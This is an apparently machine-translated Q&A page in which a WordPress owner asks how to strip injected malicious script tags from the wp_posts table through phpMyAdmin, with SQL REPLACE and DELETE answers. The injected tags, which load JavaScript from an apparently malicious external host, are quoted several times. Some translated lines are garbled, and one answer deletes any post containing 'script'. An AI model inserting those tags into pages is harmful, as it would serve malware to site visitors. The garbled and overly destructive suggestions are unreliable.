Mysql 从PHPmyadmin中删除脚本
我的phpmyadmin感染了这种脚本:Mysql 从PHPmyadmin中删除脚本,mysql,phpmyadmin,Mysql,Phpmyadmin,我的phpmyadmin感染了这种脚本: 我试图通过将这个脚本运行到SQL中来删除它们 UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>”, "")); updatewp_posts S
我试图通过将这个脚本运行到SQL中来删除它们
UPDATE wp_posts SET post_content = (REPLACE (post_content, “<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>”, ""));
updatewp_posts SET post_content=(替换(post_content,“,”);
但我收到了错误信息:
#1064-您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解在“src=”附近使用的正确语法https://scripts.lowerbeforwarden.ml/src.js?n=ns1'type='text/javascript'>我想可以试试这样的,
DELETE FROM wp_posts WHERE post_content LIKE '%script%'
它过滤掉包含单词“script”的post\u内容
,并删除该行
希望能成功!但要注意你现有的帖子。你也可以单击PhpMyAdmin上的搜索选项卡,搜索“lowerbeforwarden”,然后单击删除按钮。删除后,您网站中的内容也将被删除,因为恶意软件替换了您的网站内容。从备份中获取干净的数据库,仅导出wp_post表并将其导入PhpMyAdmin这对我来说很有效!我不得不从近1100篇文章中删除脚本
UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>", " ")
UPDATE`wp\u posts`SET post\u content=REPLACE(post\u content,“,”)
确保键入的脚本行数正确。更新wp\u posts SET post\u content=(替换(post\u content,“,”);------------这个代码实际上帮助了我,这个脚本删除了所有受感染的帖子和页面,然后我恢复了所有数据(我有备份)。谢谢,不客气!如果黑客做得好,他们会留下一个后门,当他们注意到你的改变时,他们会恢复你的改变。唯一可持续的解决方案是识别漏洞、修补漏洞,并从源备份或已知良好备份中恢复内容。
UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script><script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script>", " ")